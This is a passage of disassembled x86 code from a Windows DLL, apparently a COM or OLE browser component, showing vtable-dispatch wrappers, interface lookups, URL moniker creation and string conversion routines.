; =============== S U B R O U T I N E =======================================
sub_69B81121 proc near ; CODE XREF: sub_69B7FB0F+E6p
; sub_69B7FB0F+177p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
mov [ecx+18h], eax
jz short locret_69B81132
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
locret_69B81132: ; CODE XREF: sub_69B81121+9j
retn 4
sub_69B81121 endp
; =============== S U B R O U T I N E =======================================
sub_69B81135 proc near ; DATA XREF: .text:69B14684o
; .text:69B16BA8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
cmp dword ptr [eax+18h], 0
jz short loc_69B81152
push [esp+arg_8]
mov eax, [eax+18h]
push [esp+4+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
jmp short locret_69B81154
; ---------------------------------------------------------------------------
loc_69B81152: ; CODE XREF: sub_69B81135+8j
xor eax, eax
locret_69B81154: ; CODE XREF: sub_69B81135+1Bj
retn 0Ch
sub_69B81135 endp
; =============== S U B R O U T I N E =======================================
sub_69B81157 proc near ; DATA XREF: .text:69B14688o
; .text:69B16BACo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
cmp dword ptr [eax+18h], 0
jz short loc_69B81170
mov eax, [eax+18h]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+10h]
jmp short locret_69B81172
; ---------------------------------------------------------------------------
loc_69B81170: ; CODE XREF: sub_69B81157+8j
xor eax, eax
locret_69B81172: ; CODE XREF: sub_69B81157+17j
retn 8
sub_69B81157 endp
; =============== S U B R O U T I N E =======================================
sub_69B81175 proc near ; DATA XREF: .text:69B1468Co
; .text:69B16BB0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
cmp dword ptr [eax+18h], 0
jz short loc_69B8118E
mov eax, [eax+18h]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+14h]
jmp short locret_69B81190
; ---------------------------------------------------------------------------
loc_69B8118E: ; CODE XREF: sub_69B81175+8j
xor eax, eax
locret_69B81190: ; CODE XREF: sub_69B81175+17j
retn 8
sub_69B81175 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B81193 proc near ; DATA XREF: .text:69B14690o
; .text:69B16BB4o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp dword ptr [eax+18h], 0
jz short loc_69B811B6
push [ebp+arg_10]
mov eax, [eax+18h]
push [ebp+arg_C]
mov ecx, [eax]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+18h]
jmp short loc_69B811B8
; ---------------------------------------------------------------------------
loc_69B811B6: ; CODE XREF: sub_69B81193+Aj
xor eax, eax
loc_69B811B8: ; CODE XREF: sub_69B81193+21j
pop ebp
retn 14h
sub_69B81193 endp
; =============== S U B R O U T I N E =======================================
sub_69B811BC proc near ; DATA XREF: .text:69B14694o
; .text:69B16BB8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
cmp dword ptr [eax+18h], 0
jz short loc_69B811D9
push [esp+arg_8]
mov eax, [eax+18h]
push [esp+4+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+1Ch]
jmp short locret_69B811DB
; ---------------------------------------------------------------------------
loc_69B811D9: ; CODE XREF: sub_69B811BC+8j
xor eax, eax
locret_69B811DB: ; CODE XREF: sub_69B811BC+1Bj
retn 0Ch
sub_69B811BC endp
; =============== S U B R O U T I N E =======================================
sub_69B811DE proc near ; CODE XREF: sub_69B816F0+5j
; DATA XREF: .text:69B14698o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
cmp dword ptr [eax+18h], 0
jz short loc_69B811FB
push [esp+arg_8]
mov eax, [eax+18h]
push [esp+4+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+20h]
jmp short locret_69B811FD
; ---------------------------------------------------------------------------
loc_69B811FB: ; CODE XREF: sub_69B811DE+8j
xor eax, eax
locret_69B811FD: ; CODE XREF: sub_69B811DE+1Bj
retn 0Ch
sub_69B811DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B81200 proc near ; CODE XREF: sub_69B81652+37p
; DATA XREF: .text:69B1469Co
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp dword ptr [eax+18h], 0
jz short loc_69B81223
push [ebp+arg_10]
mov eax, [eax+18h]
push [ebp+arg_C]
mov ecx, [eax]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+24h]
jmp short loc_69B81225
; ---------------------------------------------------------------------------
loc_69B81223: ; CODE XREF: sub_69B81200+Aj
xor eax, eax
loc_69B81225: ; CODE XREF: sub_69B81200+21j
pop ebp
retn 14h
sub_69B81200 endp
; =============== S U B R O U T I N E =======================================
sub_69B81229 proc near ; DATA XREF: .text:69B146A0o
; .text:69B16BC4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
cmp dword ptr [eax+18h], 0
jz short loc_69B81246
push [esp+arg_8]
mov eax, [eax+18h]
push [esp+4+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+28h]
jmp short locret_69B81248
; ---------------------------------------------------------------------------
loc_69B81246: ; CODE XREF: sub_69B81229+8j
xor eax, eax
locret_69B81248: ; CODE XREF: sub_69B81229+1Bj
retn 0Ch
sub_69B81229 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8124B proc near ; DATA XREF: .text:69B2A7E0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
and [ebp+var_4], esi
push edi
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_69B8125F
and [edi], esi
loc_69B8125F: ; CODE XREF: sub_69B8124B+10j
mov eax, [ebp+arg_0]
cmp dword ptr [eax+8], 0
jz short loc_69B812A5
mov eax, [eax+8]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset dword_69B2AF80
push eax
call dword ptr [ecx]
mov esi, eax
test esi, esi
jnz short loc_69B81298
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B812A5
mov ecx, [eax]
push edi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+0Ch]
mov esi, eax
loc_69B81298: ; CODE XREF: sub_69B8124B+32j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B812A5
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B812A5: ; CODE XREF: sub_69B8124B+1Bj
; sub_69B8124B+39j ...
pop edi
mov eax, esi
pop esi
leave
retn 14h
sub_69B8124B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B812AD proc near ; DATA XREF: .text:69B2A7E4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
and [ebp+var_4], esi
push edi
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_69B812C1
and [edi], esi
loc_69B812C1: ; CODE XREF: sub_69B812AD+10j
mov eax, [ebp+arg_0]
cmp dword ptr [eax+8], 0
jz short loc_69B81307
mov eax, [eax+8]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset dword_69B2AF80
push eax
call dword ptr [ecx]
mov esi, eax
test esi, esi
jnz short loc_69B812FA
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B81307
mov ecx, [eax]
push edi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+10h]
mov esi, eax
loc_69B812FA: ; CODE XREF: sub_69B812AD+32j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B81307
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B81307: ; CODE XREF: sub_69B812AD+1Bj
; sub_69B812AD+39j ...
pop edi
mov eax, esi
pop esi
leave
retn 14h
sub_69B812AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8130F proc near ; DATA XREF: .text:69B16B94o
; .text:69B2A7B8o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
xor esi, esi
cmp [eax+4], esi
jz short loc_69B8135E
mov eax, [eax+4]
mov ecx, [eax]
lea edx, [ebp+arg_0]
push edx
push offset dword_69B2AF30
push eax
call dword ptr [ecx]
mov esi, eax
test esi, esi
jnz short loc_69B8134F
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_69B81368
push [ebp+arg_10]
mov ecx, [eax]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+10h]
mov esi, eax
loc_69B8134F: ; CODE XREF: sub_69B8130F+23j
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_69B81368
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp short loc_69B81368
; ---------------------------------------------------------------------------
loc_69B8135E: ; CODE XREF: sub_69B8130F+Cj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_69B81368
and dword ptr [eax], 0
loc_69B81368: ; CODE XREF: sub_69B8130F+2Aj
; sub_69B8130F+45j ...
mov eax, esi
pop esi
pop ebp
retn 14h
sub_69B8130F endp
; =============== S U B R O U T I N E =======================================
sub_69B8136F proc near ; DATA XREF: .text:69B146B0o
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
mov ecx, [esp+arg_0]
mov [ecx+20h], eax
jz short loc_69B81384
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B81384: ; CODE XREF: sub_69B8136F+Dj
xor eax, eax
retn 0Ch
sub_69B8136F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B81389(int, int, int, LPMONIKER ppmk, LPCWSTR szURL)
sub_69B81389 proc near ; DATA XREF: .text:69B146BCo
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
ppmk = dword ptr 14h
szURL = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+ppmk]
cmp ecx, 3
jz short loc_69B813BC
cmp ecx, 0Dh
jz short loc_69B813F3
cmp ecx, 16h
jz short loc_69B813F3
mov eax, [ebp+arg_0]
cmp dword ptr [eax+18h], 0
jz short loc_69B813F3
push [ebp+szURL]
mov eax, [eax+18h]
mov edx, [eax]
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [edx+18h]
jmp short loc_69B813F5
; ---------------------------------------------------------------------------
loc_69B813BC: ; CODE XREF: sub_69B81389+9j
and [ebp+ppmk], 0
lea eax, [ebp+ppmk]
push eax ; ppmk
push [ebp+szURL] ; szURL
push 0 ; pMkCtx
call CreateURLMoniker
test eax, eax
jl short loc_69B813F3
cmp [ebp+ppmk], 0
jz short loc_69B813F3
mov eax, [ebp+arg_0]
mov eax, [eax+24h]
test eax, eax
jz short loc_69B813F3
mov eax, [eax+18h]
test eax, eax
jz short loc_69B813F3
push [ebp+ppmk]
mov ecx, eax
call sub_69B82634
loc_69B813F3: ; CODE XREF: sub_69B81389+Ej
; sub_69B81389+13j ...
xor eax, eax
loc_69B813F5: ; CODE XREF: sub_69B81389+31j
pop ebp
retn 14h
sub_69B81389 endp
; =============== S U B R O U T I N E =======================================
sub_69B813F9 proc near ; DATA XREF: .text:69B146C0o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+20h]
test eax, eax
jz short loc_69B8140B
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B8140B: ; CODE XREF: sub_69B813F9+Aj
mov eax, [esi+1Ch]
and dword ptr [esi+20h], 0
neg eax
sbb eax, eax
and eax, 8000000Ah
pop esi
retn 0Ch
sub_69B813F9 endp
; =============== S U B R O U T I N E =======================================
sub_69B8141F proc near ; CODE XREF: sub_69B817BC+5j
; DATA XREF: .text:69B146C4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
mov edx, [esp+arg_8]
push ebx
push esi
mov dword ptr [eax], 283h
mov esi, [edx]
test esi, esi
push edi
jnz short loc_69B81439
push 54h
pop esi
loc_69B81439: ; CODE XREF: sub_69B8141F+15j
mov ecx, esi
mov ebx, ecx
shr ecx, 2
xor eax, eax
mov edi, edx
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
mov eax, [esp+0Ch+arg_0]
and dword ptr [edx+18h], 0
pop edi
mov [edx], esi
cmp dword ptr [eax+18h], 0
pop esi
pop ebx
jz short loc_69B81470
mov eax, [eax+18h]
mov ecx, [eax]
push edx
push [esp+4+arg_4]
push eax
call dword ptr [ecx+20h]
jmp short locret_69B81472
; ---------------------------------------------------------------------------
loc_69B81470: ; CODE XREF: sub_69B8141F+3Fj
xor eax, eax
locret_69B81472: ; CODE XREF: sub_69B8141F+4Fj
retn 0Ch
sub_69B8141F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B81475 proc near ; DATA XREF: .text:69B146C8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
test byte ptr [ebp+arg_4], 1
push esi
mov esi, [ebp+arg_0]
jz short loc_69B814E5
mov eax, [esi+20h]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset dword_69B2AF70
push eax
call dword ptr [ecx]
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B814D0
lea edx, [ebp+arg_4]
push edx
lea edx, [ebp+arg_0]
push edx
push 17h
mov [ebp+arg_4], 4
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jnz short loc_69B814C3
mov eax, [esi+24h]
mov ecx, [ebp+arg_0]
mov [eax+1Ch], ecx
loc_69B814C3: ; CODE XREF: sub_69B81475+43j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B814D0
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B814D0: ; CODE XREF: sub_69B81475+28j
; sub_69B81475+53j
mov eax, [esi+20h]
and [ebp+var_4], 0
test eax, eax
jz short loc_69B814E1
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B814E1: ; CODE XREF: sub_69B81475+64j
and dword ptr [esi+20h], 0
loc_69B814E5: ; CODE XREF: sub_69B81475+10j
mov eax, [esi+1Ch]
neg eax
sbb eax, eax
and eax, 8000000Ah
pop esi
leave
retn 14h
sub_69B81475 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B814F6(HANDLE pHandles)
sub_69B814F6 proc near ; DATA XREF: .text:69B146DCo
pHandles = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+pHandles]
mov ecx, [eax+18h]
test ecx, ecx
push esi
mov esi, [eax+14h]
jz short loc_69B8152D
cmp dword ptr [ecx+28h], 0
jz short loc_69B8152D
mov eax, [esi+30h]
mov [ebp+pHandles], eax
call sub_69B8110C
cmp [ebp+pHandles], 0
jz short loc_69B8152D
push 0FFFFFFFFh ; dwMilliseconds
push 0 ; fWaitAll
lea eax, [ebp+pHandles]
push eax ; pHandles
push 1 ; nCount
call sub_69B80843
loc_69B8152D: ; CODE XREF: sub_69B814F6+Fj
; sub_69B814F6+15j ...
test esi, esi
jz short loc_69B81538
mov ecx, esi
call sub_69B7F4AC
loc_69B81538: ; CODE XREF: sub_69B814F6+39j
xor eax, eax
pop esi
pop ebp
retn 4
sub_69B814F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8153F proc near ; DATA XREF: .text:69B2A7F8o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 17h
mov eax, [ebp+arg_C]
jnz short loc_69B81560
mov ecx, [ebp+arg_8]
mov dword ptr [eax], 4
mov eax, [ebp+arg_0]
mov eax, [eax+0Ch]
mov [ecx], eax
xor eax, eax
jmp short loc_69B81568
; ---------------------------------------------------------------------------
loc_69B81560: ; CODE XREF: sub_69B8153F+Aj
and dword ptr [eax], 0
mov eax, 80004005h
loc_69B81568: ; CODE XREF: sub_69B8153F+1Fj
pop ebp
retn 10h
sub_69B8153F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8156C proc near ; DATA XREF: .text:69B2A7FCo
lpWideCharStr = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
and [ebp+lpWideCharStr], 0
cmp [ebp+arg_4], 1
push ebx
push esi
push edi
mov eax, 80004005h
jnz loc_69B8160D
mov edx, [ebp+arg_0]
cmp dword ptr [edx+8], 0
jz short loc_69B8160D
mov esi, offset dword_69B81628
mov ebx, esi
lea edi, [ebx+1]
loc_69B81599: ; CODE XREF: sub_69B8156C+32j
mov cl, [ebx]
inc ebx
test cl, cl
jnz short loc_69B81599
mov ecx, [ebp+arg_C]
sub ebx, edi
cmp ebx, [ecx]
jnb short loc_69B8160D
mov edi, [ebp+arg_8]
mov ecx, ebx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
lea eax, [ebp+lpWideCharStr]
rep movsb
mov ecx, [edx+8]
push eax
call sub_69B826D5
test eax, eax
jnz short loc_69B8160D
mov edi, [ebp+arg_C]
mov esi, [ebp+arg_8]
push eax ; lpUsedDefaultChar
push eax ; lpDefaultChar
mov eax, [edi]
sub eax, ebx
dec eax
push eax ; cchMultiByte
lea eax, [esi+ebx]
push eax ; lpMultiByteStr
push [ebp+lpWideCharStr] ; BSTR
call SysStringLen
push eax ; cchWideChar
push [ebp+lpWideCharStr] ; lpWideCharStr
push 0 ; dwFlags
push 0 ; CodePage
call ds:WideCharToMultiByte ; WideCharToMultiByte
push [ebp+lpWideCharStr] ; BSTR
mov [ebp+arg_8], eax
call SysFreeString
xor eax, eax
cmp [ebp+arg_8], eax
jg short loc_69B8161A
mov eax, 80004005h
loc_69B8160D: ; CODE XREF: sub_69B8156C+14j
; sub_69B8156C+21j ...
mov ecx, [ebp+arg_C]
and dword ptr [ecx], 0
loc_69B81613: ; CODE XREF: sub_69B8156C+B7j
pop edi
pop esi
pop ebx
leave
retn 18h
; ---------------------------------------------------------------------------
loc_69B8161A: ; CODE XREF: sub_69B8156C+9Aj
add ebx, [ebp+arg_8]
mov byte ptr [ebx+esi], 0
mov [edi], ebx
jmp short loc_69B81613
sub_69B8156C endp
; ---------------------------------------------------------------------------
align 4
dword_69B81628 dd 74786574h, 6D74682Fh db 6Ch, 3Bh, 0
; =============== S U B R O U T I N E =======================================
sub_69B81633 proc near ; CODE XREF: sub_69B7E6D3+Ep
; sub_69B7FB0F+3F5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov [ecx+18h], eax
mov eax, [esp+arg_0]
mov [ecx+14h], eax
retn 8
sub_69B81633 endp
; =============== S U B R O U T I N E =======================================
sub_69B81644 proc near ; CODE XREF: sub_69B822CE+32p
; sub_69B8259B+20p
; FUNCTION CHUNK AT 69B7E6BC SIZE 00000017 BYTES
mov ecx, [ecx+14h]
test ecx, ecx
jnz loc_69B7E6BC
xor eax, eax
retn
sub_69B81644 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B81652 proc near ; DATA XREF: .text:69B16BC0o
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B8166C
mov eax, 80004005h
jmp short loc_69B816B6
; ---------------------------------------------------------------------------
loc_69B8166C: ; CODE XREF: sub_69B81652+11j
push ebx
push esi
push 0
push edi
lea ecx, [ebp+var_C]
call sub_69B1A8C7
push [ebp+arg_10]
mov esi, [ebp+arg_0]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_69B81200
test byte ptr [ebp+arg_4], 4
mov ebx, eax
jz short loc_69B816A3
mov ecx, [esi+74h]
push 0
push dword ptr [esi+78h]
call sub_69B834CD
loc_69B816A3: ; CODE XREF: sub_69B81652+42j
lea ecx, [ebp+var_C]
call sub_69B1976C
push edi
call dword_69B92944
pop esi
mov eax, ebx
pop ebx
loc_69B816B6: ; CODE XREF: sub_69B81652+18j
pop edi
leave
retn 14h
sub_69B81652 endp
; =============== S U B R O U T I N E =======================================
sub_69B816BB proc near ; CODE XREF: sub_69B81774+43j
; sub_69B8188F+3p ...
push esi
mov esi, ecx
mov eax, [esi+14h]
test eax, eax
mov dword ptr [esi-4], offset off_69B14678
mov dword ptr [esi], offset off_69B2A7BC
mov dword ptr [esi+0Ch], offset off_69B2A7D4
mov dword ptr [esi+10h], offset off_69B2A7A8
jz short loc_69B816E6
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B816E6: ; CODE XREF: sub_69B816BB+23j
and dword ptr [esi+14h], 0
pop esi
jmp sub_69B2C65C
sub_69B816BB endp
; =============== S U B R O U T I N E =======================================
sub_69B816F0 proc near ; DATA XREF: .text:69B2A7B4o
arg_0 = dword ptr 4
sub [esp+arg_0], 14h
jmp sub_69B811DE
sub_69B816F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B816FA proc near ; CODE XREF: sub_69B81766+5j
; .text:69B81772j
; DATA XREF: ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
push edi
push 4
pop ecx
mov edi, offset dword_69B2AF80
xor eax, eax
repe cmpsd
jnz short loc_69B81723
mov esi, [ebp+arg_0]
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+arg_8]
add esi, 10h
mov [eax], esi
jmp short loc_69B8174D
; ---------------------------------------------------------------------------
loc_69B81723: ; CODE XREF: sub_69B816FA+14j
mov esi, [ebp+arg_4]
push 4
xor eax, eax
mov eax, [ebp+arg_0]
pop ecx
mov edi, offset dword_69B2AF30
repe cmpsd
jnz short loc_69B81751
mov ecx, eax
neg ecx
lea edx, [eax+14h]
sbb ecx, ecx
and ecx, edx
mov edx, [ebp+arg_8]
mov [edx], ecx
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B8174D: ; CODE XREF: sub_69B816FA+27j
xor eax, eax
jmp short loc_69B81760
; ---------------------------------------------------------------------------
loc_69B81751: ; CODE XREF: sub_69B816FA+3Bj
push [ebp+arg_8]
lea ecx, [eax+4]
push [ebp+arg_4]
push eax
call sub_69B87FE8
loc_69B81760: ; CODE XREF: sub_69B816FA+55j
pop edi
pop esi
pop ebp
retn 0Ch
sub_69B816FA endp
; =============== S U B R O U T I N E =======================================
sub_69B81766 proc near ; DATA XREF: .text:off_69B2A7D4o
arg_0 = dword ptr 4
sub [esp+arg_0], 10h
jmp short sub_69B816FA
sub_69B81766 endp
; ---------------------------------------------------------------------------
loc_69B8176D: ; DATA XREF: .text:off_69B16B84o
; .text:off_69B2A7A8o ...
sub dword ptr [esp+4], 14h
jmp short sub_69B816FA
; =============== S U B R O U T I N E =======================================
sub_69B81774 proc near ; CODE XREF: sub_69B818E9+3p
push esi
mov esi, ecx
mov eax, [esi+14h]
test eax, eax
mov dword ptr [esi-4], offset off_69B146A4
mov dword ptr [esi], offset off_69B2A7E8
mov dword ptr [esi+0Ch], offset off_69B2A7D4
mov dword ptr [esi+10h], offset off_69B2A7C0
jz short loc_69B8179F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B8179F: ; CODE XREF: sub_69B81774+23j
mov eax, [esi+1Ch]
and dword ptr [esi+14h], 0
test eax, eax
jz short loc_69B817B0
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B817B0: ; CODE XREF: sub_69B81774+34j
and dword ptr [esi+1Ch], 0
mov ecx, esi
pop esi
jmp sub_69B816BB
sub_69B81774 endp
; =============== S U B R O U T I N E =======================================
sub_69B817BC proc near ; DATA XREF: .text:69B2A7CCo
arg_0 = dword ptr 4
sub [esp+arg_0], 14h
jmp sub_69B8141F
sub_69B817BC endp
; =============== S U B R O U T I N E =======================================
sub_69B817C6 proc near ; CODE XREF: sub_69B81933+3p
mov dword ptr [ecx-4], offset off_69B146D0
mov dword ptr [ecx], offset off_69B2A800
mov dword ptr [ecx+0Ch], offset off_69B2A7EC
jmp sub_69B2C65C
sub_69B817C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B817DF proc near ; CODE XREF: sub_69B81833+5j
; DATA XREF: .text:off_69B146D0o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
push edi
push 4
pop ecx
mov edi, offset dword_69B2AF70
xor eax, eax
repe cmpsd
jz short loc_69B81806
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B2AF50
xor eax, eax
repe cmpsd
jnz short loc_69B8181B
loc_69B81806: ; CODE XREF: sub_69B817DF+14j
mov esi, [ebp+arg_0]
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+arg_8]
add esi, 10h
mov [eax], esi
xor eax, eax
jmp short loc_69B8182D
; ---------------------------------------------------------------------------
loc_69B8181B: ; CODE XREF: sub_69B817DF+25j
push [ebp+arg_8]
mov eax, [ebp+arg_0]
push [ebp+arg_4]
lea ecx, [eax+4]
push eax
call sub_69B87FE8
loc_69B8182D: ; CODE XREF: sub_69B817DF+3Aj
pop edi
pop esi
pop ebp
retn 0Ch
sub_69B817DF endp
; =============== S U B R O U T I N E =======================================
sub_69B81833 proc near ; DATA XREF: .text:off_69B2A7ECo
arg_0 = dword ptr 4
sub [esp+arg_0], 10h
jmp short sub_69B817DF
sub_69B81833 endp
; =============== S U B R O U T I N E =======================================
sub_69B8183A proc near ; CODE XREF: sub_69B81908+3p
push esi
mov esi, ecx
push offset loc_69B81854
lea ecx, [esi+4]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
locret_69B81852: ; CODE XREF: .text:69B81857j
retn
sub_69B8183A endp
; ---------------------------------------------------------------------------
align 4
loc_69B81854: ; DATA XREF: sub_69B8183A+3o
ror cl, 0EAh
jns short locret_69B81852
mov edx, 828C11CEh
add [edx+0BA94B00h], ch
; =============== S U B R O U T I N E =======================================
sub_69B81864 proc near ; CODE XREF: sub_69B16B18+5p
; sub_69B7FB0F+B0p ...
push esi
mov esi, ecx
call sub_69B3B1E4
and dword ptr [esi+18h], 0
mov dword ptr [esi], offset off_69B14678
mov dword ptr [esi+4], offset off_69B2A7BC
mov dword ptr [esi+10h], offset off_69B2A7D4
mov dword ptr [esi+14h], offset off_69B2A7A8
mov eax, esi
pop esi
retn
sub_69B81864 endp
; =============== S U B R O U T I N E =======================================
sub_69B8188F proc near ; DATA XREF: .text:off_69B2A7BCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B816BB
test [esp+4+arg_0], 1
jz short loc_69B818A7
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B818A7: ; CODE XREF: sub_69B8188F+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B8188F endp
; =============== S U B R O U T I N E =======================================
sub_69B818AE proc near ; CODE XREF: sub_69B7FB0F+13Bp
arg_0 = dword ptr 4
push esi
mov esi, ecx
call sub_69B81864
xor eax, eax
mov [esi+18h], eax
mov [esi+1Ch], eax
mov [esi+20h], eax
mov eax, [esp+4+arg_0]
mov [esi+24h], eax
mov dword ptr [esi], offset off_69B146A4
mov dword ptr [esi+4], offset off_69B2A7E8
mov dword ptr [esi+10h], offset off_69B2A7D4
mov dword ptr [esi+14h], offset off_69B2A7C0
mov eax, esi
pop esi
retn 4
sub_69B818AE endp
; =============== S U B R O U T I N E =======================================
sub_69B818E9 proc near ; DATA XREF: .text:off_69B2A7E8o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B81774
test [esp+4+arg_0], 1
jz short loc_69B81901
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B81901: ; CODE XREF: sub_69B818E9+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B818E9 endp
; =============== S U B R O U T I N E =======================================
sub_69B81908 proc near ; CODE XREF: sub_69B7FB0F+10Fp
push esi
mov esi, ecx
call sub_69B8183A
xor eax, eax
mov [esi+18h], eax
mov [esi+14h], eax
mov [esi+1Ch], eax
mov dword ptr [esi], offset off_69B146D0
mov dword ptr [esi+4], offset off_69B2A800
